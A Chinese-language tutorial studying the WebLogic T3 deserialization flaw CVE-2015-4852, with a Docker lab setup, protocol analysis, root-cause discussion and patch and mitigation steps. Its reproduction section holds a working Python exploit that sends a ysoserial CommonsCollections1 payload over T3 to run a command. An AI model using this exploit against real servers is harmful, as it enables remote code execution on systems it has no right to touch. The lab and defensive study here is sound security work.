Weblogic漏洞学习:T3反序列化
字数 1860 2025-08-03 16:45:19

Weblogic T3协议反序列化漏洞(CVE-2015-4852)深入分析与实践

一、漏洞概述

CVE-2015-4852是Weblogic服务器中一个严重的反序列化漏洞,攻击者可以通过T3协议发送恶意序列化数据,在目标服务器上执行任意代码。该漏洞影响Weblogic 10.3.6.0、12.1.2.0、12.1.3.0和12.2.1.0等版本。

二、环境搭建

1. 构建测试环境

使用GitHub上的环境搭建项目:

git clone https://github.com/QAX-A-Team/WeblogicEnvironment

将下载的JDK压缩包(jdk-7u21-linux-x64.tar.gz)放在项目的jdks文件夹下,Weblogic的jar文件(wls1036_generic.jar)放在weblogics文件夹下。

构建Docker镜像:

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz \
             --build-arg WEBLOGIC_JAR=wls1036_generic.jar \
             -t weblogic1036jdk7u21 .

运行容器:

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 \
           --name weblogic1036jdk7u21 weblogic1036jdk7u21

2. 远程调试配置

导出必要的Jar包:

mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

在IDEA中:

  1. 打开wlserver文件夹
  2. 导入coherence_3.7/libmodules目录
  3. 添加server/lib作为依赖
  4. 配置Remote调试,设置正确的端口

三、T3协议分析

1. T3协议概述

T3协议是Weblogic特有的RMI通信协议,相比于标准JRMP协议具有以下特点:

  • 服务端可持续监控客户端存活状态(心跳机制,默认60秒间隔)
  • 240秒无心跳判定连接丢失
  • 优化数据传输效率,一次连接可传输全部数据包

2. T3协议结构

T3协议数据包由两部分组成:

  1. 请求包头
  2. 请求主体(序列化数据)

请求包头示例:

t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001

测试T3协议连接

import socket

def T3Test(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"  # 请求包头
    sock.sendall(handshake.encode())
    while True:
        data = sock.recv(1024)
        print(data.decode())
        
if __name__ == "__main__":
    ip = "192.168.111.132"
    port = 7001
    T3Test(ip, port)

请求主体结构

T3协议中传输的序列化数据分为七个部分:

  1. 第一部分:协议头(如上面的T3握手信息)
  2. 第二部分到第七部分:都以ac ed 00 05开头的序列化数据

攻击者可选择两种方式构造恶意数据:

  1. 替换第二到第七部分中的任意一个为恶意序列化数据
  2. 将第一部分与恶意序列化数据进行拼接

四、漏洞复现

1. 漏洞利用PoC

from os import popen
import struct
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget, cmd):
    YSO_PATH = "ysoserial.jar"
    popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
    return popen.stdout.read()

def T3Exploit(ip, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: " + "".join(match))
    else:
        print("Not Weblogic")
    
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header + desflag + payload
    payload = struct.pack(">I", len(payload)) + payload[4:]
    sock.send(payload)

if __name__ == "__main__":
    ip = "192.168.111.132"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "touch /tmp/success"
    payload = generatePayload(gadget, cmd)
    T3Exploit(ip, port, payload)

2. 数据包分析

完整的T3协议攻击数据包包含四个部分:

  1. 数据包长度:4字节,大端序
  2. T3协议头:固定内容
  3. 反序列化标志fe 01 00 00 + ac ed 00 05
  4. 序列化数据:由ysoserial生成的payload

五、漏洞原理分析

1. 漏洞调用链

  1. weblogic.rjvm.InboundMsgAbbrev#readObject

    • 调用内部类InboundMsgAbbrev.ServerChannelInputStreamreadObject方法
  2. InboundMsgAbbrev.ServerChannelInputStream#readObject

    • 继承自ObjectInputStream
    • 重写了resolveClass方法,但实际仍调用父类方法,未做任何防御

2. 漏洞成因

Weblogic自带commons-collections-3.2.0.jar,提供了反序列化利用链。攻击者可以通过T3协议发送精心构造的序列化数据,利用CommonsCollections1等gadget执行任意代码。

3. 反序列化防御机制

resolveClass方法是防御反序列化攻击的关键点:

  • 作用:将类的序列化描述符转换为Class对象
  • 防御方式:重写该方法并添加类黑名单过滤
  • WebLogic未实现有效过滤导致漏洞

六、漏洞修复

1. 官方修复方案

Oracle通过以下方式修复了该漏洞:

  1. resloveClass中添加ClassFilter.isBlackListed黑名单过滤
  2. 黑名单包含org.apache.commons.collections等危险类

2. 临时防护措施

  1. 网络层防护

    • 限制T3协议端口(7001)的访问
    • 使用Web代理或负载均衡,仅转发HTTP请求
  2. 配置修改

    # 禁用T3协议
    cd /u01/app/oracle/middleware/wlserver/server/bin/
    ./setDomainEnv.sh
    # 添加以下内容
    export JAVA_OPTIONS="-Dweblogic.rjvm.enableprotocolswitch=false"
    

七、总结与扩展

1. 关键知识点

  1. T3协议是Weblogic特有的RMI通信协议
  2. 反序列化漏洞根源在于未过滤危险类的反序列化
  3. resolveClass是防御反序列化的关键点

2. 扩展思考

  1. 其他Weblogic反序列化漏洞:

    • XMLDecoder反序列化
    • CVE-2017-3248
    • CVE-2018-2628
  2. 防御反序列化攻击的通用方案:

    • 升级到最新安全版本
    • 使用白名单机制替代黑名单
    • 实施严格的输入验证

八、参考资源

  1. Weblogic历史T3反序列化漏洞及补丁梳理
  2. Java原生序列化与反序列化代码简要分析
  3. 浅谈Java反序列化漏洞修复方案
Weblogic T3协议反序列化漏洞(CVE-2015-4852)深入分析与实践 一、漏洞概述 CVE-2015-4852是Weblogic服务器中一个严重的反序列化漏洞,攻击者可以通过T3协议发送恶意序列化数据,在目标服务器上执行任意代码。该漏洞影响Weblogic 10.3.6.0、12.1.2.0、12.1.3.0和12.2.1.0等版本。 二、环境搭建 1. 构建测试环境 使用GitHub上的环境搭建项目: 将下载的JDK压缩包(jdk-7u21-linux-x64.tar.gz)放在项目的 jdks 文件夹下,Weblogic的jar文件(wls1036_ generic.jar)放在 weblogics 文件夹下。 构建Docker镜像: 运行容器: 2. 远程调试配置 导出必要的Jar包: 在IDEA中: 打开 wlserver 文件夹 导入 coherence_3.7/lib 和 modules 目录 添加 server/lib 作为依赖 配置Remote调试,设置正确的端口 三、T3协议分析 1. T3协议概述 T3协议是Weblogic特有的RMI通信协议,相比于标准JRMP协议具有以下特点: 服务端可持续监控客户端存活状态(心跳机制,默认60秒间隔) 240秒无心跳判定连接丢失 优化数据传输效率,一次连接可传输全部数据包 2. T3协议结构 T3协议数据包由两部分组成: 请求包头 请求主体(序列化数据) 请求包头示例: 测试T3协议连接 请求主体结构 T3协议中传输的序列化数据分为七个部分: 第一部分:协议头(如上面的T3握手信息) 第二部分到第七部分:都以 ac ed 00 05 开头的序列化数据 攻击者可选择两种方式构造恶意数据: 替换第二到第七部分中的任意一个为恶意序列化数据 将第一部分与恶意序列化数据进行拼接 四、漏洞复现 1. 漏洞利用PoC 2. 数据包分析 完整的T3协议攻击数据包包含四个部分: 数据包长度 :4字节,大端序 T3协议头 :固定内容 反序列化标志 : fe 01 00 00 + ac ed 00 05 序列化数据 :由ysoserial生成的payload 五、漏洞原理分析 1. 漏洞调用链 weblogic.rjvm.InboundMsgAbbrev#readObject 调用内部类 InboundMsgAbbrev.ServerChannelInputStream 的 readObject 方法 InboundMsgAbbrev.ServerChannelInputStream#readObject 继承自 ObjectInputStream 类 重写了 resolveClass 方法,但实际仍调用父类方法,未做任何防御 2. 漏洞成因 Weblogic自带 commons-collections-3.2.0.jar ,提供了反序列化利用链。攻击者可以通过T3协议发送精心构造的序列化数据,利用 CommonsCollections1 等gadget执行任意代码。 3. 反序列化防御机制 resolveClass 方法是防御反序列化攻击的关键点: 作用:将类的序列化描述符转换为Class对象 防御方式:重写该方法并添加类黑名单过滤 WebLogic未实现有效过滤导致漏洞 六、漏洞修复 1. 官方修复方案 Oracle通过以下方式修复了该漏洞: 在 resloveClass 中添加 ClassFilter.isBlackListed 黑名单过滤 黑名单包含 org.apache.commons.collections 等危险类 2. 临时防护措施 网络层防护 : 限制T3协议端口(7001)的访问 使用Web代理或负载均衡,仅转发HTTP请求 配置修改 : 七、总结与扩展 1. 关键知识点 T3协议是Weblogic特有的RMI通信协议 反序列化漏洞根源在于未过滤危险类的反序列化 resolveClass 是防御反序列化的关键点 2. 扩展思考 其他Weblogic反序列化漏洞: XMLDecoder反序列化 CVE-2017-3248 CVE-2018-2628 防御反序列化攻击的通用方案: 升级到最新安全版本 使用白名单机制替代黑名单 实施严格的输入验证 八、参考资源 Weblogic历史T3反序列化漏洞及补丁梳理 Java原生序列化与反序列化代码简要分析 浅谈Java反序列化漏洞修复方案